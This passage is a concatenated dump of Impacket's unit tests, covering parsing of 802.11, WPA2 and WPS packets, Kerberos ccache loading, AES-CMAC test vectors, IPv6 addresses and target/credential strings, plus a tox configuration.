Dot11(self.frame_orig) 23 | 24 | type = d.get_type() 25 | self.assertEqual(type,Dot11Types.DOT11_TYPE_CONTROL) 26 | 27 | subtype = d.get_subtype() 28 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_CONTROL_REQUEST_TO_SEND) 29 | 30 | typesubtype = d.get_type_n_subtype() 31 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_CONTROL_SUBTYPE_REQUEST_TO_SEND) 32 | 33 | self.rts = Dot11ControlFrameRTS(d.get_body_as_string()) 34 | 35 | d.contains(self.rts) 36 | 37 | def test_01_HeaderTailSize(self): 38 | 'Test Header and Tail Size field' 39 | self.assertEqual(self.rts.get_header_size(), 14) 40 | self.assertEqual(self.rts.get_tail_size(), 0) 41 | 42 | def test_02_Duration(self): 43 | 'Test Duration field' 44 | 45 | self.assertEqual(self.rts.get_duration(), 0x181) 46 | self.rts.set_duration(0x1234) 47 | self.assertEqual(self.rts.get_duration(), 0x1234) 48 | 49 | def test_03_RA(self): 50 | 'Test RA field' 51 | 52 | ra=self.rts.get_ra() 53 | self.assertEqual(ra.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 54 | ra[0]=0x12 55 | ra[5]=0x34 56 | self.rts.set_ra(ra) 57 | self.assertEqual(self.rts.get_ra().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 58 | 59 | def test_04_TA(self): 60 | 'Test TA field' 61 | 62 | ta=self.rts.get_ta() 63 | self.assertEqual(ta.tolist(), [0x00,0x23,0x4d,0x09,0x86,0xfe]) 64 | ta[0]=0x12 65 | ta[5]=0x34 66 | self.rts.set_ta(ta) 67 | self.assertEqual(self.rts.get_ta().tolist(), [0x12,0x23,0x4d,0x09,0x86,0x34]) 68 | 69 | 70 | if __name__ == '__main__': 71 | unittest.main(verbosity=1) 72 | -------------------------------------------------------------------------------- /tests/dot11/test_FrameData.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | import unittest 13 | from impacket.dot11 import Dot11, Dot11Types, Dot11DataFrame 14 | 15 | 16 | class TestDot11DataFrames(unittest.TestCase): 17 | 18 | def setUp(self): 19 | # 802.11 Data Frame 20 | # 21 | self.frame_orig=b'\x08\x01\x30\x00\x00\x08\x54\xac\x2f\x85\x00\x23\x4d\x09\x86\xfe\x00\x08\x54\xac\x2f\x85\x40\x44\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x28\x72\x37\x40\x00\x80\x06\x6c\x22\xc0\xa8\x01\x02\xc3\x7a\x97\x51\xd7\xa0\x00\x50\xa5\xa5\xb1\xe0\x12\x1c\xa9\xe1\x50\x10\x4e\x75\x59\x74\x00\x00\xed\x13\x22\x91' 22 | 23 | d = Dot11(self.frame_orig) 24 | 25 | type = d.get_type() 26 | self.assertEqual(type,Dot11Types.DOT11_TYPE_DATA) 27 | 28 | subtype = d.get_subtype() 29 | self.assertEqual(subtype,Dot11Types.DOT11_SUBTYPE_DATA) 30 | 31 | typesubtype = d.get_type_n_subtype() 32 | self.assertEqual(typesubtype,Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA) 33 | 34 | self.data = Dot11DataFrame(d.get_body_as_string()) 35 | 36 | d.contains(self.data) 37 | 38 | def test_01_HeaderSize(self): 39 | 'Test Header and Tail Size field' 40 | self.assertEqual(self.data.get_header_size(), 22) 41 | self.assertEqual(self.data.get_tail_size(), 0) 42 | 43 | def test_02_Duration(self): 44 | 'Test Duration field' 45 | 46 | self.assertEqual(self.data.get_duration(), 0x30) 47 | self.data.set_duration(0x1234) 48 | self.assertEqual(self.data.get_duration(), 0x1234) 49 | 50 | def test_03_Address_1(self): 51 | 'Test Address 1 field' 52 | 53 | addr=self.data.get_address1() 54 | 55 | self.assertEqual(addr.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 56 | addr[0]=0x12 57 | addr[5]=0x34 58 | self.data.set_address1(addr) 59 | self.assertEqual(self.data.get_address1().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 60 | 61 | def test_04_Address_2(self): 62 | 'Test Address 2 field' 63 | 64 | addr=self.data.get_address2() 65 | 66 | self.assertEqual(addr.tolist(), [0x00,0x23,0x4d,0x09,0x86,0xfe]) 67 | addr[0]=0x12 68 | addr[5]=0x34 69 | self.data.set_address2(addr) 70 | self.assertEqual(self.data.get_address2().tolist(), [0x12,0x23,0x4d,0x09,0x86,0x34]) 71 | 72 | def test_05_Address_3(self): 73 | 'Test Address 3 field' 74 | 75 | addr=self.data.get_address3() 76 | 77 | self.assertEqual(addr.tolist(), [0x00,0x08,0x54,0xac,0x2f,0x85]) 78 | addr[0]=0x12 79 | addr[5]=0x34 80 | self.data.set_address3(addr) 81 | self.assertEqual(self.data.get_address3().tolist(), [0x12,0x08,0x54,0xac,0x2f,0x34]) 82 | 83 | def test_06_sequence_control(self): 84 | 'Test Sequence control field' 85 | self.assertEqual(self.data.get_sequence_control(), 0x4440) 86 | self.data.set_sequence_control(0x1234) 87 | self.assertEqual(self.data.get_sequence_control(), 0x1234) 88 | 89 | def test_07_fragment_number(self): 90 | 'Test Fragment number field' 91 | self.assertEqual(self.data.get_fragment_number(), 0x0000) 92 | self.data.set_fragment_number(0xF1) # Es de 4 bit 93 | self.assertEqual(self.data.get_fragment_number(), 0x01) 94 | 95 | def test_08_sequence_number(self): 96 | 'Test Sequence number field' 97 | self.assertEqual(self.data.get_sequence_number(), 0x0444) 98 | self.data.set_sequence_number(0xF234) # Es de 12 bit 99 | self.assertEqual(self.data.get_sequence_number(), 0x0234) 100 | 101 | def test_09_frame_data(self): 102 | 'Test Frame Data field' 103 | # Test with packet without addr4 104 | frame_body=b"\xaa\xaa\x03\x00\x00\x00\x08\x00\x45\x00\x00\x28\x72\x37\x40\x00\x80\x06\x6c\x22\xc0\xa8\x01\x02\xc3\x7a\x97\x51\xd7\xa0\x00\x50\xa5\xa5\xb1\xe0\x12\x1c\xa9\xe1\x50\x10\x4e\x75\x59\x74\x00\x00" 105 | self.assertEqual(self.data.get_frame_body(), frame_body) 106 | 107 | 108 | if __name__ == '__main__': 109 | unittest.main(verbosity=1) 110 | -------------------------------------------------------------------------------- /tests/dot11/test_WPA2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | import unittest 13 | from impacket.dot11 import Dot11,Dot11Types,Dot11DataFrame,Dot11WPA2,Dot11WPA2Data 14 | 15 | 16 | class TestDot11WPA2Data(unittest.TestCase): 17 | 18 | def setUp(self): 19 | # 802.11 Data Frame 20 | # 21 | self.frame_orig=b'\x08\x49\x24\x00\x00\x21\x29\x68\x33\x5d\x00\x15\xaf\xe4\xf1\x0f\x00\x21\x29\x68\x33\x5b\xe0\x31\x1b\x13\x00\x20\x00\x00\x00\x00\x84\x7d\x6a\x30\x8c\x60\x7e\x3b\x22\xdc\x16\xc1\x4b\x28\xd3\x26\x76\x9d\x2e\x59\x96\x31\x3e\x01\x6f\x61\xa2\x59\xc8\xdc\xd3\xc4\xad\x7c\xcc\x32\xa8\x9f\xf6\x03\x02\xe1\xac\x1d\x1e\x02\x8a\xcd\x5b\x94\x20\x2d\xfc\x6e\x37\x40\x2e\x46\x17\x19\x0c\xc0\x34\x07\xae\xe7\x77\xaf\xf9\x9f\x41\x53' 22 | d = Dot11(self.frame_orig) 23 | 24 | self.assertEqual(d.get_type(),Dot11Types.DOT11_TYPE_DATA) 25 | self.assertEqual(d.get_subtype(),Dot11Types.DOT11_SUBTYPE_DATA) 26 | self.assertEqual(d.get_type_n_subtype(),Dot11Types.DOT11_TYPE_DATA_SUBTYPE_DATA) 27 | 28 | data = Dot11DataFrame(d.get_body_as_string()) 29 | d.contains(data) 30 | 31 | self.wpa2_header = Dot11WPA2(data.body_string) 32 | data.contains(self.wpa2_header) 33 | 34 | self.wpa2_data = Dot11WPA2Data(self.wpa2_header.body_string) 35 | self.wpa2_header.contains(self.wpa2_data) 36 | 37 | def test_01_is_WPA2(self): 38 | 'Test WPA2Header is_WPA2 method' 39 | self.assertEqual(self.wpa2_header.is_WPA2(), True) 40 | 41 | def test_03_extIV(self): 42 | 'Test WPA2Header extIV getter and setter methods' 43 | self.assertEqual(self.wpa2_header.get_extIV(), 0x01) 44 | 45 | self.wpa2_header.set_extIV(0x00) # Es de 1 bit 46 | self.assertEqual(self.wpa2_header.get_extIV(), 0x00) 47 | 48 | def test_04_keyid(self): 49 | 'Test WPA2Header keyID getter and setter methods' 50 | self.assertEqual(self.wpa2_header.get_keyid(), 0x00) 51 | 52 | self.wpa2_header.set_keyid(0x03) # Es de 2 bits 53 | self.assertEqual(self.wpa2_header.get_keyid(), 0x03) 54 | 55 | #TODO: Test get_decrypted_data 56 | #def test_05_get_decrypted_data(self): 57 | 58 | def test_06_PNs(self): 59 | 'Test WPA2Data PN0 to PN5 getter and setter methods' 60 | # PN0 61 | self.assertEqual(self.wpa2_header.get_PN0(), 0x1b) 62 | self.wpa2_header.set_PN0(0xAB) 63 | self.assertEqual(self.wpa2_header.get_PN0(), 0xAB) 64 | 65 | # PN1 66 | self.assertEqual(self.wpa2_header.get_PN1(), 0x13) 67 | self.wpa2_header.set_PN1(0xAB) 68 | self.assertEqual(self.wpa2_header.get_PN1(), 0xAB) 69 | 70 | # PN2 71 | self.assertEqual(self.wpa2_header.get_PN2(), 0x00) 72 | self.wpa2_header.set_PN2(0xAB) 73 | self.assertEqual(self.wpa2_header.get_PN2(), 0xAB) 74 | 75 | # PN3 76 | self.assertEqual(self.wpa2_header.get_PN3(), 0x00) 77 | self.wpa2_header.set_PN3(0xAB) 78 | self.assertEqual(self.wpa2_header.get_PN3(), 0xAB) 79 | 80 | # PN4 81 | self.assertEqual(self.wpa2_header.get_PN4(), 0x00) 82 | self.wpa2_header.set_PN4(0xAB) 83 | self.assertEqual(self.wpa2_header.get_PN4(), 0xAB) 84 | 85 | # PN5 86 | self.assertEqual(self.wpa2_header.get_PN5(), 0x00) 87 | self.wpa2_header.set_PN5(0xAB) 88 | self.assertEqual(self.wpa2_header.get_PN5(), 0xAB) 89 | 90 | def test_07_data(self): 91 | 'Test WPA2Data body' 92 | data=b'\x84\x7d\x6a\x30\x8c\x60\x7e\x3b\x22\xdc\x16\xc1\x4b\x28\xd3\x26\x76\x9d\x2e\x59\x96\x31\x3e\x01\x6f\x61\xa2\x59\xc8\xdc\xd3\xc4\xad\x7c\xcc\x32\xa8\x9f\xf6\x03\x02\xe1\xac\x1d\x1e\x02\x8a\xcd\x5b\x94\x20\x2d\xfc\x6e\x37\x40\x2e\x46\x17\x19' 93 | self.assertEqual(self.wpa2_data.body_string, data) 94 | 95 | def test_08_mic(self): 96 | 'Test WPA2Data MIC field' 97 | mic=b'\x0c\xc0\x34\x07\xae\xe7\x77\xaf' 98 | self.assertEqual(self.wpa2_data.get_MIC(), mic) 99 | 100 | mic=b'\x01\x02\x03\x04\xff\xfe\xfd\xfc' 101 | self.wpa2_data.set_MIC(mic) 102 | self.assertEqual(self.wpa2_data.get_MIC(), mic) 103 | 104 | 105 | if __name__ == '__main__': 106 | unittest.main(verbosity=1) 107 | -------------------------------------------------------------------------------- /tests/dot11/test_helper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | # Description: 13 | # Tests for helper used to build ProtocolPackets 14 | # 15 | # Author: 16 | # Aureliano Calvo 17 | # 18 | import unittest 19 | import impacket.helper as h 20 | 21 | 22 | class TestHelpers(unittest.TestCase): 23 | 24 | def test_well_formed(self): 25 | class MockPacket(h.ProtocolPacket): 26 | byte_field = h.Byte(0) 27 | word_field = h.Word(1, ">") 28 | three_bytes_field = h.ThreeBytesBigEndian(3) 29 | long_field = h.Long(6, ">") 30 | aliased_bit_field = h.Bit(0,0) 31 | 32 | header_size = 4 33 | tail_size = 0 34 | 35 | p = MockPacket() 36 | p.byte_field = 1 37 | p.word_field = 2 38 | p.three_bytes_field = 4 39 | p.long_field = 8 40 | 41 | self.assertEqual(1, p.byte_field) 42 | self.assertEqual(2, p.word_field) 43 | self.assertEqual(4, p.three_bytes_field) 44 | self.assertEqual(8, p.long_field) 45 | 46 | self.assertEqual(True, p.aliased_bit_field) 47 | 48 | p.aliased_bit_field = False 49 | 50 | self.assertEqual(0, p.byte_field) 51 | 52 | self.assertEqual(p.get_packet(), MockPacket(p.get_packet()).get_packet()) # it is the same packet after reprocessing. 53 | 54 | 55 | if __name__ == '__main__': 56 | unittest.main(verbosity=1) 57 | -------------------------------------------------------------------------------- /tests/dot11/test_wps.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | # Description: 13 | # Tests for WPS packets 14 | # 15 | # Author: 16 | # Aureliano Calvo 17 | # 18 | import unittest 19 | import array 20 | from impacket import wps 21 | 22 | 23 | class TestTLVContainer(unittest.TestCase): 24 | 25 | def testNormalUsageContainer(self): 26 | BUILDERS={ 27 | 1: wps.StringBuilder(), 28 | 2: wps.ByteBuilder(), 29 | 3: wps.NumBuilder(2) 30 | } 31 | tlvc = wps.TLVContainer(builders=BUILDERS) 32 | 33 | KINDS_N_VALUES = ( 34 | (1, b"Sarlanga"), 35 | (2, 1), 36 | (3, 1024), 37 | (4, array.array("B", [1,2,3])) 38 | ) 39 | for k,v in KINDS_N_VALUES: 40 | tlvc.append(k,v) 41 | 42 | tlvc2 = wps.TLVContainer(builders=BUILDERS) 43 | tlvc2.from_ary(tlvc.to_ary()) 44 | 45 | for k,v in KINDS_N_VALUES: 46 | self.assertEqual(v, tlvc2.first(k)) 47 | 48 | self.assertEqual(tlvc.to_ary(), tlvc2.to_ary()) 49 | self.assertEqual(b"Sarlanga", tlvc.first(1)) 50 | 51 | 52 | if __name__ == '__main__': 53 | unittest.main(verbosity=1) 54 | -------------------------------------------------------------------------------- /tests/misc/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Copyright Fortra, LLC and its affiliated companies 3 | # 4 | # All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | -------------------------------------------------------------------------------- /tests/misc/test_ccache.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | # Description: 13 | # Kerberos CCACHE unit tests 14 | # 15 | import os 16 | import pytest 17 | import unittest 18 | from six import PY2 19 | if PY2: 20 | mock = None 21 | FileNotFoundError = IOError 22 | else: 23 | from unittest import mock 24 | from impacket.krb5.ccache import CCache, Credential 25 | 26 | 27 | class CCACHETests(unittest.TestCase): 28 | 29 | service = "krbtgt" 30 | domain = "INNOVATION.ROCKS" 31 | username = "user01" 32 | server = "{}/{}@{}".format(service, domain, domain) 33 | 34 | cache_v1_file = "tests/data/ccache-v1" 35 | cache_v2_file = "tests/data/ccache-v2" 36 | cache_v3_file = "tests/data/ccache-v3" 37 | cache_v4_file = "tests/data/ccache-v4" 38 | cache_v3_kirbi_file = "tests/data/ccache-v3-kirbi" 39 | cache_v4_kirbi_file = "tests/data/ccache-v4-kirbi" 40 | 41 | def assert_ccache(self, ccache): 42 | ccache.prettyPrint() 43 | self.assertIsInstance(ccache, CCache) 44 | self.assertEqual(len(ccache.credentials), 1) 45 | for cred in ccache.credentials: 46 | self.assertIsInstance(cred, Credential) 47 | 48 | self.assertIsNone(ccache.getCredential("krbtgt/UNEXISTENT.COM@UNEXISTENT.COM", True)) 49 | self.assertIsNone(ccache.getCredential("krbtgt/UNEXISTENT.COM@UNEXISTENT.COM", False)) 50 | self.assertIsNotNone(ccache.getCredential(self.server, True)) 51 | self.assertIsNotNone(ccache.getCredential(self.server, False)) 52 | 53 | def test_ccache_loadFile(self): 54 | with self.assertRaises(FileNotFoundError): 55 | CCache.loadFile("NON_EXISTENT") 56 | 57 | for cache_file in [self.cache_v1_file, 58 | self.cache_v2_file]: 59 | with self.assertRaises(NotImplementedError): 60 | CCache.loadFile(cache_file) 61 | 62 | for cache_file in [self.cache_v3_file, 63 | self.cache_v4_file]: 64 | ccache = CCache.loadFile(cache_file) 65 | self.assert_ccache(ccache) 66 | 67 | def test_ccache_fromKirbi(self): 68 | with self.assertRaises(FileNotFoundError): 69 | CCache.loadKirbiFile("NON_EXISTENT") 70 | 71 | for kirbi_file in [self.cache_v3_kirbi_file, 72 | self.cache_v4_kirbi_file]: 73 | ccache = CCache.loadKirbiFile(kirbi_file) 74 | self.assert_ccache(ccache) 75 | 76 | @pytest.mark.skipif(PY2, reason="requires python 3.3 or higher") 77 | def test_ccache_parseFile_no_cache(self): 78 | if not PY2: 79 | with mock.patch.dict(os.environ, {}, clear=True): 80 | domain, username, TGT, TGS = CCache.parseFile(self.domain, self.username) 81 | self.assertEqual(domain, self.domain) 82 | self.assertEqual(username, self.username) 83 | self.assertIsNone(TGT) 84 | self.assertIsNone(TGS) 85 | 86 | @pytest.mark.skipif(PY2, reason="requires python 3.3 or higher") 87 | def test_ccache_parseFile_unexistent(self): 88 | if not PY2: 89 | with mock.patch.dict(os.environ, {"KRB5CCNAME": "ccache-unexistent-file"}): 90 | with self.assertRaises(FileNotFoundError): 91 | CCache.parseFile(self.domain, self.username) 92 | 93 | @pytest.mark.skipif(PY2, reason="requires python 3.3 or higher") 94 | def test_ccache_parseFile(self): 95 | if not PY2: 96 | with mock.patch.dict(os.environ, {"KRB5CCNAME": self.cache_v4_file}): 97 | domain, username, TGT, TGS = CCache.parseFile("") 98 | self.assertEqual(domain, self.domain) 99 | self.assertEqual(username, self.username) 100 | self.assertIsNone(TGS) 101 | self.assertIsNotNone(TGT) 102 | 103 | domain, username, TGT, TGS = CCache.parseFile("unexistent_domain") 104 | self.assertIsNone(TGS) 105 | self.assertIsNone(TGT) 106 | 107 | domain, username, TGT, TGS = CCache.parseFile(self.domain) 108 | self.assertEqual(domain, self.domain) 109 | self.assertEqual(username, self.username) 110 | self.assertIsNone(TGS) 111 | self.assertIsNotNone(TGT) 112 | 113 | domain, username, TGT, TGS = CCache.parseFile(self.domain, self.username) 114 | self.assertEqual(domain, self.domain) 115 | self.assertEqual(username, self.username) 116 | self.assertIsNone(TGS) 117 | self.assertIsNotNone(TGT) 118 | 119 | 120 | if __name__ == "__main__": 121 | unittest.main(verbosity=1) 122 | -------------------------------------------------------------------------------- /tests/misc/test_crypto.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | from __future__ import print_function, division 13 | import unittest 14 | from binascii import hexlify, unhexlify 15 | 16 | from impacket.crypto import Generate_Subkey, AES_CMAC, AES_CMAC_PRF_128 17 | 18 | 19 | def by8(s): 20 | return [s[i:i + 8] for i in range(0, len(s), 8)] 21 | 22 | 23 | def hex8(b): 24 | return ' '.join(by8(hexlify(b).decode('ascii'))) 25 | 26 | 27 | def pp(prev, s): 28 | print(prev, end=' ') 29 | for c in by8(s): 30 | print(c, end=' ') 31 | # for i in range((len(s)//8)): 32 | # print("%s" % (s[:8]), end = ' ') 33 | # s = s[8:] 34 | print() 35 | return '' 36 | 37 | 38 | class CryptoTests(unittest.TestCase): 39 | def test_subkey(self): 40 | K = "2b7e151628aed2a6abf7158809cf4f3c" 41 | M = "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710" # noqa 42 | 43 | K1, K2 = Generate_Subkey(unhexlify(K)) 44 | self.assertEqual(hex8(K1), 'fbeed618 35713366 7c85e08f 7236a8de') 45 | self.assertEqual(hex8(K2), 'f7ddac30 6ae266cc f90bc11e e46d513b') 46 | 47 | def test_AES_CMAC(self): 48 | K = "2b7e151628aed2a6abf7158809cf4f3c" 49 | M = "6bc1bee22e409f96e93d7e117393172aae2d8a571e03ac9c9eb76fac45af8e5130c81c46a35ce411e5fbc1191a0a52eff69f2445df4f9b17ad2b417be66c3710" 50 | # Example 1: len = 0 51 | self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 0)), 52 | 'bb1d6929 e9593728 7fa37d12 9b756746') 53 | # Example 2: len = 16 54 | self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 16)), 55 | '070a16b4 6b4d4144 f79bdd9d d04a287c') 56 | # Example 3: len = 40 57 | self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 40)), 58 | 'dfa66747 de9ae630 30ca3261 1497c827') 59 | # Example 3: len = 64 60 | self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 64)), 61 | '51f0bebf 7e3b9d92 fc497417 79363cfe') 62 | M = "eeab9ac8fb19cb012849536168b5d6c7a5e6c5b2fcdc32bc29b0e3654078a5129f6be2562046766f93eebf146b" 63 | K = "6c3473624099e17ff3a39ff6bdf6cc38" 64 | # Mac = dbf63fd93c4296609e2d66bf79251cb5 65 | # Example 4: len = 45 66 | self.assertEqual(hex8(AES_CMAC(unhexlify(K), unhexlify(M), 45)), 67 | 'dbf63fd9 3c429660 9e2d66bf 79251cb5') 68 | 69 | def test_AES_CMAC_PRF_128(self): 70 | K = "000102030405060708090a0b0c0d0e0fedcb" 71 | M = "000102030405060708090a0b0c0d0e0f10111213" 72 | 73 | # AES-CMAC-PRF-128 Test Vectors 74 | # Example 1: len = 0, Key Length 18 75 | self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K), unhexlify(M), 18, len(unhexlify(M)))), 76 | '84a348a4 a45d235b abfffc0d 2b4da09a') 77 | # Example 1: len = 0, Key Length 16 78 | self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K)[:16], unhexlify(M), 16, len(unhexlify(M)))), 79 | '980ae87b 5f4c9c52 14f5b6a8 455e4c2d') 80 | # Example 1: len = 0, Key Length 10 81 | self.assertEqual(hex8(AES_CMAC_PRF_128(unhexlify(K)[:10], unhexlify(M), 10, len(unhexlify(M)))), 82 | '290d9e11 2edb09ee 141fcf64 c0b72f3d') 83 | 84 | 85 | if __name__ == "__main__": 86 | unittest.main(verbosity=1) 87 | -------------------------------------------------------------------------------- /tests/misc/test_ip6_address.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | import six 13 | import unittest 14 | from binascii import hexlify 15 | from impacket.IP6_Address import IP6_Address 16 | 17 | 18 | def hexl(b): 19 | return hexlify(b).decode('ascii') 20 | 21 | 22 | class IP6AddressTests(unittest.TestCase): 23 | def test_bin(self): 24 | tests = (("A:B:C:D:E:F:1:2", '000a000b000c000d000e000f00010002', 25 | "A:B:C:D:E:F:1:2"), 26 | ("A:B:0:D:E:F:0:2", '000a000b0000000d000e000f00000002', 27 | "A:B::D:E:F:0:2"), 28 | ("A::BC:E:D", '000a000000000000000000bc000e000d', 29 | "A::BC:E:D"), 30 | ("A::BCD:EFFF:D", '000a00000000000000000bcdefff000d', 31 | "A::BCD:EFFF:D"), 32 | ("FE80:0000:0000:0000:020C:29FF:FE26:E251", 33 | 'fe80000000000000020c29fffe26e251', 34 | "FE80::20C:29FF:FE26:E251"), 35 | ("::", '00000000000000000000000000000000', 36 | "::"), 37 | ("1::", '00010000000000000000000000000000', 38 | "1::"), 39 | ("::2", '00000000000000000000000000000002', 40 | "::2"), 41 | ) 42 | # print IP6_Address("A::BC:E:D").as_string(False) 43 | for torig, thex, texp in tests: 44 | ip = IP6_Address(torig) 45 | byt = ip.as_bytes() 46 | self.assertEqual(hexl(byt), thex) 47 | self.assertEqual(ip.as_string(), texp) 48 | 49 | def test_malformed(self): 50 | with six.assertRaisesRegex(self, Exception, r'address size'): 51 | IP6_Address("ABCD:EFAB:1234:1234:1234:1234:1234:12345") 52 | with six.assertRaisesRegex(self, Exception, r'triple colon'): 53 | IP6_Address(":::") 54 | with six.assertRaisesRegex(self, Exception, r'triple colon'): 55 | IP6_Address("::::") 56 | # Could also test other invalid inputs 57 | # IP6_Address("AB:CD:EF") 58 | # IP6_Address("12::34::56") 59 | # IP6_Address("00BCDE::") 60 | # IP6_Address("DEFG::") 61 | # and how about these... 62 | # IP6_Address("A::0XBC:D") 63 | # IP6_Address("B:-123::") 64 | # IP6_Address("B:56 ::-0xE") 65 | 66 | 67 | if __name__ == '__main__': 68 | unittest.main(verbosity=1) 69 | -------------------------------------------------------------------------------- /tests/misc/test_utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # Copyright Fortra, LLC and its affiliated companies 5 | # 6 | # All rights reserved. 7 | # 8 | # This software is provided under a slightly modified version 9 | # of the Apache Software License. See the accompanying LICENSE file 10 | # for more information. 11 | # 12 | # Description: 13 | # Utility and helper functions for the example scripts 14 | # 15 | import unittest 16 | from impacket.examples.utils import parse_target, parse_credentials 17 | 18 | 19 | class UtilsTests(unittest.TestCase): 20 | 21 | def test_parse_target(self): 22 | # Parse target returns a tuple with: domain, username, password, remote_name/address 23 | targets = { 24 | "": ("", "", "", ""), 25 | "HostName": ("", "", "", "HostName"), 26 | "UserName@HostName": ("", "UserName", "", "HostName"), 27 | "UserName:Password@HostName": ("", "UserName", "Password", "HostName"), 28 | "UserName:Pa$$word1234@HostName": ("", "UserName", "Pa$$word1234", "HostName"), 29 | "UserName:Password!#$@HostName": ("", "UserName", "Password!#$", "HostName"), 30 | "UserName:Passw@rd!#$@HostName": ("", "UserName", "Passw@rd!#$", "HostName"), 31 | "UserName:P@ssw@rd@!#$@HostName": ("", "UserName", "P@ssw@rd@!#$", "HostName"), 32 | "DOMAIN/UserName@HostName": ("DOMAIN", "UserName", "", "HostName"), 33 | "DOMAIN/:Password@HostName": ("DOMAIN", "", "Password", "HostName"), 34 | "DOMAIN/UserName:Password@HostName": ("DOMAIN", "UserName", "Password", "HostName"), 35 | "DOMAIN/UserName:Password/123@HostName": ("DOMAIN", "UserName", "Password/123", "HostName"), 36 | } 37 | 38 | for target, result in targets.items(): 39 | self.assertTupleEqual(parse_target(target), result) 40 | 41 | def test_parse_credentials(self): 42 | # Parse credentials returns a tuple with: domain, username, password 43 | creds = { 44 | "": ("", "", ""), 45 | "UserName": ("", "UserName", ""), 46 | "UserName:Password": ("", "UserName", "Password"), 47 | "UserName:Password:123": ("", "UserName", "Password:123"), 48 | "DOMAIN/UserName": ("DOMAIN", "UserName", ""), 49 | "DOMAIN/UserName:Password": ("DOMAIN", "UserName", "Password"), 50 | "DOMAIN/UserName:Password/123": ("DOMAIN", "UserName", "Password/123"), 51 | } 52 | 53 | for cred, result in creds.items(): 54 | self.assertTupleEqual(parse_credentials(cred), result) 55 | 56 | 57 | if __name__ == "__main__": 58 | unittest.main(verbosity=1) 59 | -------------------------------------------------------------------------------- /tests/walkmodules.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # From https://stackoverflow.com/questions/1707709/list-all-the-modules-that-are-part-of-a-python-package 3 | import pkgutil 4 | import impacket 5 | package=impacket 6 | for importer, modname, ispkg in pkgutil.walk_packages(path=package.__path__, 7 | prefix=package.__name__+'.', 8 | onerror=lambda x: None): 9 | try: 10 | __import__(modname) 11 | except Exception as e: 12 | import traceback 13 | traceback.print_exc() 14 | print(e) 15 | pass 16 | -------------------------------------------------------------------------------- /tox.ini: -------------------------------------------------------------------------------- 1 | # content of: tox.ini, put in same dir as setup.py 2 | [tox] 3 | envlist = clean,py{36,37,38,39,310,311},report 4 | 5 | [gh-actions] 6 | python = 7 | 3.6: py36 8 | 3.7: py37 9 | 3.8: py38 10 | 3.9: py39 11 | 3.10: py310 12 | 3.11: py311 13 | 14 | [testenv] 15 | deps = -r requirements-test.txt 16 | passenv = REMOTE_CONFIG 17 | commands = 18 | {envpython} -m pip check 19 | pytest --cov --cov-append --cov-context=test --cov-config=tox.ini {posargs} 20 | depends = 21 | py{36,37,38,39,310,311}: clean 22 | report: py{36,37,38,39,310,311} 23 | 24 | [testenv:clean] 25 | basepython = python3.8 26 | deps = coverage 27 | skip_install = true 28 | commands = 29 | coverage erase 30 | 31 | 